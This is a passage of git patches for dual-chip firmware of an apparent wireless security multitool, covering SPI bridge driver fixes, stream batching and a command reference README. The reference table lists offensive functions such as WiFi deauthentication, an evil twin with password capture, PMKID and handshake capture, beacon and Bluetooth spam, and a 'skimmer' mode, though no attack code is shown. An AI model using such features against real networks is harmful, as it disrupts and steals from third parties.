a4f36330d..f1a3f911a 100644 --- a/firmware_c5/components/Core/kernel.c +++ b/firmware_c5/components/Core/kernel.c @@ -29,7 +29,6 @@ #include "i2c_init.h" #include "led_control.h" #include "pin_def.h" -#include "spi.h" #include "spi_bridge.h" #include "storage_assets.h" #include "storage_init.h" @@ -48,14 +47,13 @@ void kernel_init(void) { } ESP_ERROR_CHECK(ret); - spi_init(); init_i2c(); // Storage Init storage_init(); storage_assets_init(); storage_assets_print_info(); - led_rgb_init(); + // led_rgb_init(); bq25896_init(); spi_bridge_slave_init(); diff --git a/firmware_c5/components/Service/storage_api/include/tos_flash_paths.h b/firmware_c5/components/Service/storage_api/include/tos_flash_paths.h index 08641a6b0..9b3996228 100644 --- a/firmware_c5/components/Service/storage_api/include/tos_flash_paths.h +++ b/firmware_c5/components/Service/storage_api/include/tos_flash_paths.h @@ -20,7 +20,10 @@ extern "C" { #endif -#define FLASH_MOUNT "/assets" +#include "vfs_config.h" + +// Flash storage lives on the active VFS backend (LittleFS, 'storage' partition). +#define FLASH_MOUNT VFS_MOUNT_POINT // Config paths (read-only defaults) #define FLASH_CONFIG_WIFI_AP FLASH_MOUNT "/config/wifi/wifi_ap.conf" diff --git a/firmware_c5/components/Service/storage_vfs/include/vfs_config.h b/firmware_c5/components/Service/storage_vfs/include/vfs_config.h index d093bbf28..54218925c 100644 --- a/firmware_c5/components/Service/storage_vfs/include/vfs_config.h +++ b/firmware_c5/components/Service/storage_vfs/include/vfs_config.h @@ -25,9 +25,9 @@ extern "C" { #endif -#define VFS_USE_SD_CARD // Active backend +// #define VFS_USE_SD_CARD // micro-SD lives on the P4; the C5 stores on flash // #define VFS_USE_SPIFFS -// #define VFS_USE_LITTLEFS +#define VFS_USE_LITTLEFS // Active backend // #define VFS_USE_RAMFS // Backend Configuration From 6b44a77f56b82e4794edddaba1230777ad8e2315 Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Mon, 1 Jun 2026 21:57:49 -0300 Subject: [PATCH 022/572] docs(bad_usb): update README --- firmware_p4/components/Applications/bad_usb/README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/firmware_p4/components/Applications/bad_usb/README.md b/firmware_p4/components/Applications/bad_usb/README.md index 6222f59e6..b89fc7086 100644 --- a/firmware_p4/components/Applications/bad_usb/README.md +++ b/firmware_p4/components/Applications/bad_usb/README.md @@ -131,3 +131,4 @@ Modifier keys can be combined: `CTRL SHIFT ESC`, `GUI r`, `ALT F4`. |--------|------|-------| | US (QWERTY) | `DUCKY_LAYOUT_US` | Default. Standard ASCII mapping. | | ABNT2 (Brazil) | `DUCKY_LAYOUT_ABNT2` | Dead-key accent support, remapped punctuation. | + From 3b5703fd1026a1223c6e92fd8814da3d17e8da49 Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Mon, 1 Jun 2026 23:43:24 -0300 Subject: [PATCH 023/572] fix(c5): keep SPI slave RX always armed to avoid missed bridge commands --- .../spi_slave/include/spi_slave_driver.h | 28 +++++++ .../Drivers/spi_slave/spi_slave_driver.c | 16 ++++ .../Service/spi_bridge/spi_bridge.c | 77 ++++++++++++------- 3 files changed, 92 insertions(+), 29 deletions(-) diff --git a/firmware_c5/components/Drivers/spi_slave/include/spi_slave_driver.h b/firmware_c5/components/Drivers/spi_slave/include/spi_slave_driver.h index b46f3c9fb..7503fce51 100644 --- a/firmware_c5/components/Drivers/spi_slave/include/spi_slave_driver.h +++ b/firmware_c5/components/Drivers/spi_slave/include/spi_slave_driver.h @@ -23,6 +23,7 @@ extern "C" { #include #include +#include "driver/spi_slave.h" #include "esp_err.h" /** @@ -44,6 +45,33 @@ esp_err_t spi_slave_driver_init(void); */ esp_err_t spi_slave_driver_transmit(const uint8_t *tx_data, uint8_t *rx_data, size_t len); +/** + * @brief Queue an SPI slave transaction without blocking. + * + * Lets the caller keep a transaction armed in hardware at all times so a + * transfer from the master is never missed. The @p trans descriptor must stay + * valid until reaped by spi_slave_driver_wait(). + * + * @param trans Caller-owned transaction descriptor (filled in by this call). + * @param tx_data Transmit buffer (may be NULL). + * @param rx_data Receive buffer (may be NULL). + * @param len Number of bytes to transfer. + * @return ESP_OK on success, or an error code. + */ +esp_err_t spi_slave_driver_queue(spi_slave_transaction_t *trans, + const uint8_t *tx_data, + uint8_t *rx_data, + size_t len); + +/** + * @brief Wait for the next queued SPI slave transaction to complete. + * + * Transactions complete in the order they were queued (FIFO). + * + * @return ESP_OK on success, or an error code. + */ +esp_err_t spi_slave_driver_wait(void); + /** * @brief Set the IRQ output level to signal the master. * diff --git a/firmware_c5/components/Drivers/spi_slave/spi_slave_driver.c b/firmware_c5/components/Drivers/spi_slave/spi_slave_driver.c index 605151a91..ef55b71b2 100644 --- a/firmware_c5/components/Drivers/spi_slave/spi_slave_driver.c +++ b/firmware_c5/components/Drivers/spi_slave/spi_slave_driver.c @@ -70,6 +70,22 @@ esp_err_t spi_slave_driver_transmit(const uint8_t *tx_data, uint8_t *rx_data, si return spi_slave_transmit(SPI2_HOST, &t, portMAX_DELAY); } +esp_err_t spi_slave_driver_queue(spi_slave_transaction_t *trans, + const uint8_t *tx_data, + uint8_t *rx_data, + size_t len) { + memset(trans, 0, sizeof(*trans)); + trans->length = len * 8; + trans->tx_buffer = tx_data; + trans->rx_buffer = rx_data; + return spi_slave_queue_trans(SPI2_HOST, trans, portMAX_DELAY); +} + +esp_err_t spi_slave_driver_wait(void) { + spi_slave_transaction_t *result = NULL; + return spi_slave_get_trans_result(SPI2_HOST, &result, portMAX_DELAY); +} + void spi_slave_driver_set_irq(int level) { gpio_set_level(GPIO_BRIDGE_IRQ_PIN, level); } diff --git a/firmware_c5/components/Service/spi_bridge/spi_bridge.c b/firmware_c5/components/Service/spi_bridge/spi_bridge.c index 8d4eaad9a..381f872c3 100644 --- a/firmware_c5/components/Service/spi_bridge/spi_bridge.c +++ b/firmware_c5/components/Service/spi_bridge/spi_bridge.c @@ -183,21 +183,38 @@ static bool stream_pop(spi_id_t *out_id, uint8_t *out_data, uint8_t *out_len) { static void bridge_task(void *pvParameters) { uint8_t rx_buf[SPI_FRAME_SIZE]; uint8_t tx_buf[SPI_FRAME_SIZE]; + spi_slave_transaction_t rx_trans; + spi_slave_transaction_t tx_trans; + + // Keep a receive transaction armed in hardware at all times. The next command + // RX is re-armed right after the response TX is queued (below), so the master + // can never clock a command into an unarmed slave — even if this task is + // preempted between transfers. + memset(rx_buf, 0, sizeof(rx_buf)); + if (spi_slave_driver_queue(&rx_trans, NULL, rx_buf, SPI_FRAME_SIZE) != ESP_OK) { + vTaskDelete(NULL); + return; + } while (1) { - memset(rx_buf, 0, sizeof(rx_buf)); - if (spi_slave_driver_transmit(NULL, rx_buf, SPI_FRAME_SIZE) != ESP_OK) + if (spi_slave_driver_wait() != ESP_OK) { + memset(rx_buf, 0, sizeof(rx_buf)); + spi_slave_driver_queue(&rx_trans, NULL, rx_buf, SPI_FRAME_SIZE); continue; + } spi_header_t *header = (spi_header_t *)rx_buf; - if (header->sync != SPI_SYNC_BYTE || header->type != SPI_TYPE_CMD) - continue; - if (header->length > SPI_MAX_PAYLOAD) + if (header->sync != SPI_SYNC_BYTE || header->type != SPI_TYPE_CMD || + header->length > SPI_MAX_PAYLOAD) { + memset(rx_buf, 0, sizeof(rx_buf)); + spi_slave_driver_queue(&rx_trans, NULL, rx_buf, SPI_FRAME_SIZE); continue; + } spi_status_t status = SPI_STATUS_OK; uint8_t resp_payload[SPI_MAX_PAYLOAD]; uint8_t resp_len = 0; + bool tx_ready = false; // set when the case already built a complete tx_buf frame uint16_t cmd = spi_header_cmd(header); const uint8_t *cmd_payload = rx_buf + sizeof(spi_header_t); @@ -266,16 +283,10 @@ static void bridge_task(void *pvParameters) { memcpy(tx_buf, &stream_header, sizeof(stream_header)); if (stream_len > 0) memcpy(tx_buf + sizeof(stream_header), resp_payload, stream_len); - - spi_bridge_notify_master(); - spi_slave_driver_transmit(tx_buf, NULL, SPI_FRAME_SIZE); - if (s_is_restart_pending) { - vTaskDelay(pdMS_TO_TICKS(SPI_RESTART_DELAY_MS)); - esp_restart(); - } - continue; + tx_ready = true; + } else { + status = SPI_STATUS_BUSY; } - status = SPI_STATUS_BUSY; } else { status = SPI_STATUS_UNSUPPORTED; } @@ -321,24 +332,32 @@ static void bridge_task(void *pvParameters) { break; } - if (resp_len > (SPI_MAX_PAYLOAD - SPI_RESP_STATUS_SIZE)) { - resp_len = 0; - status = SPI_STATUS_ERROR; + if (!tx_ready) { + if (resp_len > (SPI_MAX_PAYLOAD - SPI_RESP_STATUS_SIZE)) { + resp_len = 0; + status = SPI_STATUS_ERROR; + } + + spi_header_t resp_header = {.sync = SPI_SYNC_BYTE, + .type = SPI_TYPE_RESP, + .category = header->category, + .op = header->op, + .length = (uint8_t)(resp_len + SPI_RESP_STATUS_SIZE)}; + memset(tx_buf, 0, sizeof(tx_buf)); + memcpy(tx_buf, &resp_header, sizeof(resp_header)); + tx_buf[sizeof(resp_header)] = (uint8_t)status; + if (resp_len > 0) + memcpy(tx_buf + sizeof(resp_header) + SPI_RESP_STATUS_SIZE, resp_payload, resp_len); } - spi_header_t resp_header = {.sync = SPI_SYNC_BYTE, - .type = SPI_TYPE_RESP, - .category = header->category, - .op = header->op, - .length = (uint8_t)(resp_len + SPI_RESP_STATUS_SIZE)}; - memset(tx_buf, 0, sizeof(tx_buf)); - memcpy(tx_buf, &resp_header, sizeof(resp_header)); - tx_buf[sizeof(resp_header)] = (uint8_t)status; - if (resp_len > 0) - memcpy(tx_buf + sizeof(resp_header) + SPI_RESP_STATUS_SIZE, resp_payload, resp_len); - + // Arm the response, signal the master, then immediately re-arm the next + // receive so the slave is ready before the response transfer even completes. + spi_slave_driver_queue(&tx_trans, tx_buf, NULL, SPI_FRAME_SIZE); spi_bridge_notify_master(); - spi_slave_driver_transmit(tx_buf, NULL, SPI_FRAME_SIZE); + memset(rx_buf, 0, sizeof(rx_buf)); + spi_slave_driver_queue(&rx_trans, NULL, rx_buf, SPI_FRAME_SIZE); + + spi_slave_driver_wait(); // wait for the response transfer to complete if (s_is_restart_pending) { vTaskDelay(pdMS_TO_TICKS(SPI_RESTART_DELAY_MS)); From b6000519720e3054a942fde1c478525e5e281421 Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Tue, 2 Jun 2026 10:14:13 -0300 Subject: [PATCH 024/572] docs(spi): add command reference table and frame example --- .../components/Service/spi_bridge/README.md | 203 ++++++++++++++++++ 1 file changed, 203 insertions(+) diff --git a/firmware_p4/components/Service/spi_bridge/README.md b/firmware_p4/components/Service/spi_bridge/README.md index 77b3118a0..1f2123560 100644 --- a/firmware_p4/components/Service/spi_bridge/README.md +++ b/firmware_p4/components/Service/spi_bridge/README.md @@ -22,6 +22,209 @@ Every packet follows a 5-byte fixed header: built via `SPI_CMD(cat, op)`. Use `spi_header_cmd()` / `spi_header_set_cmd()` to read/write the pair as a single 16-bit value. +## Command Reference + +Every command's `spi_id_t` packs `Category` (high byte) and `Op` (low byte) via `SPI_CMD(cat, op)`. On the wire those are the 3rd and 4th header bytes; in code use the single 16-bit `SPI_ID_*` constant. + +### System (`0x00`) + +| Command | Op | `spi_id_t` | +|---------|----|------------| +| `SPI_ID_SYSTEM_PING` | `0x01` | `0x0001` | +| `SPI_ID_SYSTEM_STATUS` | `0x02` | `0x0002` | +| `SPI_ID_SYSTEM_REBOOT` | `0x03` | `0x0003` | +| `SPI_ID_SYSTEM_VERSION` | `0x04` | `0x0004` | +| `SPI_ID_SYSTEM_DATA` | `0x05` | `0x0005` | +| `SPI_ID_SYSTEM_STREAM` | `0x06` | `0x0006` | + +### WiFi (`0x01`) + +| Command | Op | `spi_id_t` | +|---------|----|------------| +| `SPI_ID_WIFI_SCAN` | `0x10` | `0x0110` | +| `SPI_ID_WIFI_CONNECT` | `0x11` | `0x0111` | +| `SPI_ID_WIFI_DISCONNECT` | `0x12` | `0x0112` | +| `SPI_ID_WIFI_GET_STA_INFO` | `0x13` | `0x0113` | +| `SPI_ID_WIFI_SET_AP` | `0x14` | `0x0114` | +| `SPI_ID_WIFI_START` | `0x15` | `0x0115` | +| `SPI_ID_WIFI_STOP` | `0x16` | `0x0116` | +| `SPI_ID_WIFI_SAVE_AP_CONFIG` | `0x17` | `0x0117` | +| `SPI_ID_WIFI_SET_ENABLED` | `0x18` | `0x0118` | +| `SPI_ID_WIFI_SET_AP_PASSWORD` | `0x19` | `0x0119` | +| `SPI_ID_WIFI_SET_AP_MAX_CONN` | `0x1A` | `0x011A` | +| `SPI_ID_WIFI_SET_AP_IP` | `0x1B` | `0x011B` | +| `SPI_ID_WIFI_PROMISC_START` | `0x1C` | `0x011C` | +| `SPI_ID_WIFI_PROMISC_STOP` | `0x1D` | `0x011D` | +| `SPI_ID_WIFI_CH_HOP_START` | `0x1E` | `0x011E` | +| `SPI_ID_WIFI_CH_HOP_STOP` | `0x1F` | `0x011F` | +| `SPI_ID_WIFI_APP_SCAN_AP` | `0x20` | `0x0120` | +| `SPI_ID_WIFI_APP_SCAN_CLIENT` | `0x21` | `0x0121` | +| `SPI_ID_WIFI_APP_BEACON_SPAM` | `0x22` | `0x0122` | +| `SPI_ID_WIFI_APP_DEAUTHER` | `0x23` | `0x0123` | +| `SPI_ID_WIFI_APP_FLOOD` | `0x24` | `0x0124` | +| `SPI_ID_WIFI_APP_SNIFFER` | `0x25` | `0x0125` | +| `SPI_ID_WIFI_APP_EVIL_TWIN` | `0x26` | `0x0126` | +| `SPI_ID_WIFI_APP_DEAUTH_DET` | `0x27` | `0x0127` | +| `SPI_ID_WIFI_APP_PROBE_MON` | `0x28` | `0x0128` | +| `SPI_ID_WIFI_APP_SIGNAL_MON` | `0x29` | `0x0129` | +| `SPI_ID_WIFI_SNIFFER_SET_SNAPLEN` | `0x2B` | `0x012B` | +| `SPI_ID_WIFI_SNIFFER_SET_VERBOSE` | `0x2C` | `0x012C` | +| `SPI_ID_WIFI_SNIFFER_SAVE_FLASH` | `0x2D` | `0x012D` | +| `SPI_ID_WIFI_SNIFFER_SAVE_SD` | `0x2E` | `0x012E` | +| `SPI_ID_WIFI_SNIFFER_FREE_BUFFER` | `0x2F` | `0x012F` | +| `SPI_ID_WIFI_SNIFFER_STREAM_SD` | `0x30` | `0x0130` | +| `SPI_ID_WIFI_SNIFFER_CLEAR_PMKID` | `0x31` | `0x0131` | +| `SPI_ID_WIFI_SNIFFER_GET_PMKID_BSSID` | `0x32` | `0x0132` | +| `SPI_ID_WIFI_SNIFFER_CLEAR_HANDSHAKE` | `0x33` | `0x0133` | +| `SPI_ID_WIFI_SNIFFER_GET_HANDSHAKE_BSSID` | `0x34` | `0x0134` | +| `SPI_ID_WIFI_DEAUTH_STATUS` | `0x35` | `0x0135` | +| `SPI_ID_WIFI_DEAUTH_SEND_RAW` | `0x36` | `0x0136` | +| `SPI_ID_WIFI_ASSOC_REQUEST` | `0x37` | `0x0137` | +| `SPI_ID_WIFI_DEAUTH_SEND_FRAME` | `0x38` | `0x0138` | +| `SPI_ID_WIFI_DEAUTH_SEND_BROADCAST` | `0x39` | `0x0139` | +| `SPI_ID_WIFI_TARGET_SCAN_START` | `0x3A` | `0x013A` | +| `SPI_ID_WIFI_TARGET_SCAN_STATUS` | `0x3B` | `0x013B` | +| `SPI_ID_WIFI_TARGET_SAVE_FLASH` | `0x3C` | `0x013C` | +| `SPI_ID_WIFI_TARGET_SAVE_SD` | `0x3D` | `0x013D` | +| `SPI_ID_WIFI_TARGET_FREE` | `0x3E` | `0x013E` | +| `SPI_ID_WIFI_PROBE_SAVE_FLASH` | `0x3F` | `0x013F` | +| `SPI_ID_WIFI_PROBE_SAVE_SD` | `0x40` | `0x0140` | +| `SPI_ID_WIFI_EVIL_TWIN_TEMPLATE` | `0x41` | `0x0141` | +| `SPI_ID_WIFI_EVIL_TWIN_HAS_PASSWORD` | `0x42` | `0x0142` | +| `SPI_ID_WIFI_EVIL_TWIN_GET_PASSWORD` | `0x43` | `0x0143` | +| `SPI_ID_WIFI_EVIL_TWIN_RESET_CAPTURE` | `0x44` | `0x0144` | +| `SPI_ID_WIFI_CLIENT_SAVE_FLASH` | `0x45` | `0x0145` | +| `SPI_ID_WIFI_CLIENT_SAVE_SD` | `0x46` | `0x0146` | +| `SPI_ID_WIFI_AP_SAVE_FLASH` | `0x47` | `0x0147` | +| `SPI_ID_WIFI_AP_SAVE_SD` | `0x48` | `0x0148` | +| `SPI_ID_WIFI_PORT_SCAN_TARGET_RANGE` | `0x49` | `0x0149` | +| `SPI_ID_WIFI_PORT_SCAN_TARGET_LIST` | `0x4A` | `0x014A` | +| `SPI_ID_WIFI_PORT_SCAN_NETWORK` | `0x4B` | `0x014B` | +| `SPI_ID_WIFI_PORT_SCAN_CIDR` | `0x4C` | `0x014C` | +| `SPI_ID_WIFI_PORT_SCAN_STOP` | `0x4D` | `0x014D` | +| `SPI_ID_WIFI_GET_MAC` | `0x4E` | `0x014E` | +| `SPI_ID_WIFI_GET_IP_INFO` | `0x4F` | `0x014F` | +| `SPI_ID_WIFI_EVIL_TWIN_TMPL_BEGIN` | `0xA0` | `0x01A0` | +| `SPI_ID_WIFI_EVIL_TWIN_TMPL_CHUNK` | `0xA1` | `0x01A1` | + +### Bluetooth (`0x02`) + +| Command | Op | `spi_id_t` | +|---------|----|------------| +| `SPI_ID_BT_SCAN` | `0x50` | `0x0250` | +| `SPI_ID_BT_CONNECT` | `0x51` | `0x0251` | +| `SPI_ID_BT_DISCONNECT` | `0x52` | `0x0252` | +| `SPI_ID_BT_GET_INFO` | `0x53` | `0x0253` | +| `SPI_ID_BT_INIT` | `0x54` | `0x0254` | +| `SPI_ID_BT_DEINIT` | `0x55` | `0x0255` | +| `SPI_ID_BT_START` | `0x56` | `0x0256` | +| `SPI_ID_BT_STOP` | `0x57` | `0x0257` | +| `SPI_ID_BT_SET_RANDOM_MAC` | `0x58` | `0x0258` | +| `SPI_ID_BT_START_ADV` | `0x59` | `0x0259` | +| `SPI_ID_BT_STOP_ADV` | `0x5A` | `0x025A` | +| `SPI_ID_BT_SET_MAX_POWER` | `0x5B` | `0x025B` | +| `SPI_ID_BT_TRACKER_START` | `0x5C` | `0x025C` | +| `SPI_ID_BT_TRACKER_STOP` | `0x5D` | `0x025D` | +| `SPI_ID_BT_GET_ADDR_TYPE` | `0x5E` | `0x025E` | +| `SPI_ID_BT_SAVE_ANNOUNCE_CFG` | `0x5F` | `0x025F` | +| `SPI_ID_BT_APP_SCANNER` | `0x60` | `0x0260` | +| `SPI_ID_BT_APP_SNIFFER` | `0x61` | `0x0261` | +| `SPI_ID_BT_APP_SPAM` | `0x62` | `0x0262` | +| `SPI_ID_BT_APP_FLOOD` | `0x63` | `0x0263` | +| `SPI_ID_BT_APP_SKIMMER` | `0x64` | `0x0264` | +| `SPI_ID_BT_APP_TRACKER` | `0x65` | `0x0265` | +| `SPI_ID_BT_APP_GATT_EXP` | `0x66` | `0x0266` | +| `SPI_ID_BT_SPAM_LIST_LOAD` | `0x68` | `0x0268` | +| `SPI_ID_BT_SPAM_LIST_BEGIN` | `0x69` | `0x0269` | +| `SPI_ID_BT_SPAM_LIST_ITEM` | `0x6A` | `0x026A` | +| `SPI_ID_BT_SPAM_LIST_COMMIT` | `0x6B` | `0x026B` | +| `SPI_ID_BT_SCREEN_INIT` | `0x6C` | `0x026C` | +| `SPI_ID_BT_SCREEN_DEINIT` | `0x6D` | `0x026D` | +| `SPI_ID_BT_SCREEN_IS_ACTIVE` | `0x6E` | `0x026E` | +| `SPI_ID_BT_SCREEN_SEND_PARTIAL` | `0x6F` | `0x026F` | +| `SPI_ID_BT_L2CAP_STATUS` | `0x70` | `0x0270` | +| `SPI_ID_BT_HID_INIT` | `0x71` | `0x0271` | +| `SPI_ID_BT_HID_DEINIT` | `0x72` | `0x0272` | +| `SPI_ID_BT_HID_IS_CONNECTED` | `0x73` | `0x0273` | +| `SPI_ID_BT_HID_SEND_KEY` | `0x74` | `0x0274` | + +### LoRa (`0x03`) + +| Command | Op | `spi_id_t` | +|---------|----|------------| +| `SPI_ID_LORA_RX` | `0x80` | `0x0380` | +| `SPI_ID_LORA_TX` | `0x81` | `0x0381` | + +### Meshtastic (`0x04`) + +| Command | Op | `spi_id_t` | +|---------|----|------------| +| `SPI_ID_MESH_BLE_INIT` | `0x90` | `0x0490` | +| `SPI_ID_MESH_BLE_STOP` | `0x91` | `0x0491` | +| `SPI_ID_MESH_WIFI_INIT` | `0x92` | `0x0492` | +| `SPI_ID_MESH_WIFI_STOP` | `0x93` | `0x0493` | +| `SPI_ID_MESH_FROMRADIO_PUSH` | `0x94` | `0x0494` | +| `SPI_ID_MESH_LOG_PUSH` | `0x95` | `0x0495` | +| `SPI_ID_MESH_STATUS` | `0x96` | `0x0496` | +| `SPI_ID_MESH_TORADIO_STREAM` | `0x97` | `0x0497` | + +### MeshCore (`0x05`) + +| Command | Op | `spi_id_t` | +|---------|----|------------| +| `SPI_ID_MCORE_BLE_INIT` | `0x98` | `0x0598` | +| `SPI_ID_MCORE_BLE_STOP` | `0x99` | `0x0599` | +| `SPI_ID_MCORE_TX_PUSH` | `0x9A` | `0x059A` | +| `SPI_ID_MCORE_RX_STREAM` | `0x9B` | `0x059B` | +| `SPI_ID_MCORE_STATUS` | `0x9C` | `0x059C` | + +### Session (`0xFF`) + +| Command | Op | `spi_id_t` | +|---------|----|------------| +| `SPI_ID_SESSION_HEARTBEAT` | `0xF0` | `0xFFF0` | +| `SPI_ID_SESSION_LOST` | `0xF1` | `0xFFF1` | +| `SPI_ID_SESSION_STOP` | `0xF2` | `0xFFF2` | + +## Frame Example + +The 5-byte header maps directly to `spi_header_t`: + +```c +typedef struct { + uint8_t sync; // 0xAA + uint8_t type; // spi_type_t: CMD 0x01 / RESP 0x02 / STREAM 0x03 + uint8_t category; // spi_cat_t + uint8_t op; // operation within the category + uint8_t length; // payload bytes that follow (0-255) +} spi_header_t; +``` + +**Example — WiFi scan** (`SPI_ID_WIFI_SCAN` = `SPI_CMD(SPI_CAT_WIFI, 0x10)` = `0x0110`), no payload: + +``` +P4 -> C5 (command) + AA 01 01 10 00 + ^ ^ ^ ^ ^ + | | | | +-- length = 0 + | | | +----- op = 0x10 + | | +-------- category = 0x01 (WiFi) + | +----------- type = 0x01 (CMD) + +-------------- sync = 0xAA + +C5 -> P4 (response, after raising IRQ) — payload byte 0 is the status + AA 02 01 10 01 00 + ^ ^ ^ ^ ^ ^ + | | | | | +-- status = 0x00 (SPI_STATUS_OK) + | | | | +----- length = 1 + | | | +-------- op = 0x10 + | | +----------- category = 0x01 + | +-------------- type = 0x02 (RESP) + +----------------- sync = 0xAA +``` + +Scan results are then pulled item-by-item through the **Generic Data Pipe** (`SPI_ID_SYSTEM_DATA`) described below. + ## Generic Data Pipe To keep the bridge simple, we use a "Dumb Pipe" approach for large data sets (like Scan results): 1. **Pull Count**: Call `SPI_ID_SYSTEM_DATA` with index `0xFFFF`. From 2a6ff8786e811af0e2ad3cd6a0609df4c5b0a50a Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Tue, 2 Jun 2026 13:38:51 -0300 Subject: [PATCH 025/572] perf(spi): batch stream records per transfer and shorten IRQ pulse --- .../Service/spi_bridge/include/spi_protocol.h | 8 ++ .../Service/spi_bridge/spi_bridge.c | 93 +++++++++++-------- .../Service/spi_bridge/include/spi_protocol.h | 8 ++ .../Service/spi_bridge/spi_bridge.c | 69 ++++++++------ 4 files changed, 113 insertions(+), 65 deletions(-) diff --git a/firmware_c5/components/Service/spi_bridge/include/spi_protocol.h b/firmware_c5/components/Service/spi_bridge/include/spi_protocol.h index 9195cd74b..75cf5cd12 100644 --- a/firmware_c5/components/Service/spi_bridge/include/spi_protocol.h +++ b/firmware_c5/components/Service/spi_bridge/include/spi_protocol.h @@ -244,6 +244,14 @@ static inline void spi_header_set_cmd(spi_header_t *h, uint16_t cmd) { // in length, and the 5-byte header would otherwise make the frame size odd. #define SPI_FRAME_SIZE (((sizeof(spi_header_t) + SPI_MAX_PAYLOAD) + 3u) & ~3u) +// Larger fixed transfer size used ONLY by the SYSTEM_STREAM response, which +// batches many stream records into one transfer to amortize per-frame overhead. +// The command/response path keeps using SPI_FRAME_SIZE. Must be a multiple of 4 +// for SPI DMA. Stream frame layout (after the 5-byte header, type = STREAM): +// [u16 batch_len][record]... where each record = [u16 op][u8 len][len bytes] +// and `record` data is exactly what session_manager queued (meta + payload). +#define SPI_STREAM_FRAME_SIZE 2048 + // Session protocol — see spi_bridge/README.md "Session Lifecycle" #define SPI_SESSION_INVALID_ID 0u #define SPI_SESSION_WINDOW 64u diff --git a/firmware_c5/components/Service/spi_bridge/spi_bridge.c b/firmware_c5/components/Service/spi_bridge/spi_bridge.c index 381f872c3..7a1f6ad5a 100644 --- a/firmware_c5/components/Service/spi_bridge/spi_bridge.c +++ b/firmware_c5/components/Service/spi_bridge/spi_bridge.c @@ -19,6 +19,7 @@ #include #include "esp_log.h" +#include "esp_rom_sys.h" #include "esp_system.h" #include "freertos/FreeRTOS.h" #include "freertos/portmacro.h" @@ -36,10 +37,10 @@ static const char *TAG = "SPI_BRIDGE_C5"; -#define SPI_STREAM_QUEUE_LEN 8 +#define SPI_STREAM_QUEUE_LEN 64 #define SPI_BRIDGE_TASK_STACK 4096 #define SPI_BRIDGE_TASK_PRIO 10 -#define SPI_IRQ_PULSE_MS 1 +#define SPI_IRQ_PULSE_US 10 #define SPI_RESTART_DELAY_MS 50 #define SPI_FW_VERSION_LEN 32 #define SPI_FW_VERSION_STRING "1.3.0" @@ -68,7 +69,7 @@ static volatile bool s_is_restart_pending = false; static char s_firmware_version[SPI_FW_VERSION_LEN] = "unknown"; static void load_firmware_version(void); -static bool stream_pop(spi_id_t *out_id, uint8_t *out_data, uint8_t *out_len); +static uint16_t stream_pop_into(uint8_t *buf, uint16_t offset, uint16_t cap); static void bridge_task(void *pvParameters); // Public functions @@ -137,8 +138,11 @@ bool spi_bridge_stream_push(spi_id_t id, const uint8_t *data, uint8_t len) { } void spi_bridge_notify_master(void) { + // The P4 captures the IRQ via a GPIO rising-edge interrupt, so it only needs + // a clean edge — not a held level. A short microsecond pulse replaces the old + // 1 ms task delay, which dominated per-frame latency and capped stream rate. spi_slave_driver_set_irq(1); - vTaskDelay(pdMS_TO_TICKS(SPI_IRQ_PULSE_MS)); + esp_rom_delay_us(SPI_IRQ_PULSE_US); spi_slave_driver_set_irq(0); } @@ -160,29 +164,37 @@ static void load_firmware_version(void) { ESP_LOGI(TAG, "Firmware version: %s", s_firmware_version); } -static bool stream_pop(spi_id_t *out_id, uint8_t *out_data, uint8_t *out_len) { - bool has_item = false; +// Pop the head stream item into buf at `offset`, encoded as a record +// [u16 op][u8 len][len bytes]. Returns the number of bytes written, or 0 if the +// queue is empty or the record would not fit in `cap`. Keeps the critical +// section short (one item, <=256 bytes) so the producer is never blocked long. +static uint16_t stream_pop_into(uint8_t *buf, uint16_t offset, uint16_t cap) { + uint16_t written = 0; portENTER_CRITICAL(&s_stream_mux); if (s_stream_count > 0) { spi_stream_item_t *item = &s_stream_queue[s_stream_head]; - if (out_id != NULL) - *out_id = item->id; - if (out_len != NULL) - *out_len = item->len; - if (out_data != NULL && item->len > 0) { - memcpy(out_data, item->data, item->len); + uint16_t need = 3u + item->len; // u16 op + u8 len + data + if ((uint32_t)offset + need <= cap) { + buf[offset] = (uint8_t)(item->id & 0xFF); + buf[offset + 1] = (uint8_t)((item->id >> 8) & 0xFF); + buf[offset + 2] = item->len; + if (item->len > 0) + memcpy(buf + offset + 3, item->data, item->len); + written = need; + s_stream_head = (uint8_t)((s_stream_head + 1) % SPI_STREAM_QUEUE_LEN); + s_stream_count--; } - s_stream_head = (uint8_t)((s_stream_head + 1) % SPI_STREAM_QUEUE_LEN); - s_stream_count--; - has_item = true; } portEXIT_CRITICAL(&s_stream_mux); - return has_item; + return written; } static void bridge_task(void *pvParameters) { - uint8_t rx_buf[SPI_FRAME_SIZE]; - uint8_t tx_buf[SPI_FRAME_SIZE]; + // Static (this is the only task touching them) so the larger stream TX buffer + // does not blow the task stack. RX/command stays at SPI_FRAME_SIZE; only the + // stream response uses the larger SPI_STREAM_FRAME_SIZE buffer. + static uint8_t rx_buf[SPI_FRAME_SIZE]; + static uint8_t tx_buf[SPI_STREAM_FRAME_SIZE]; spi_slave_transaction_t rx_trans; spi_slave_transaction_t tx_trans; @@ -214,7 +226,8 @@ static void bridge_task(void *pvParameters) { spi_status_t status = SPI_STATUS_OK; uint8_t resp_payload[SPI_MAX_PAYLOAD]; uint8_t resp_len = 0; - bool tx_ready = false; // set when the case already built a complete tx_buf frame + bool tx_ready = false; // set when the case already built a complete tx_buf frame + size_t tx_size = SPI_FRAME_SIZE; // bytes the master will clock for the response uint16_t cmd = spi_header_cmd(header); const uint8_t *cmd_payload = rx_buf + sizeof(spi_header_t); @@ -271,22 +284,27 @@ static void bridge_task(void *pvParameters) { status = SPI_STATUS_ERROR; } } else if (cmd == SPI_ID_SYSTEM_STREAM) { - spi_id_t stream_id = 0; - uint8_t stream_len = 0; - if (stream_pop(&stream_id, resp_payload, &stream_len)) { - spi_header_t stream_header = {.sync = SPI_SYNC_BYTE, - .type = SPI_TYPE_STREAM, - .category = SPI_CMD_CAT(stream_id), - .op = SPI_CMD_OP(stream_id), - .length = stream_len}; - memset(tx_buf, 0, sizeof(tx_buf)); - memcpy(tx_buf, &stream_header, sizeof(stream_header)); - if (stream_len > 0) - memcpy(tx_buf + sizeof(stream_header), resp_payload, stream_len); - tx_ready = true; - } else { - status = SPI_STATUS_BUSY; - } + // Batch as many queued records as fit into one large stream frame: + // [header type=STREAM][u16 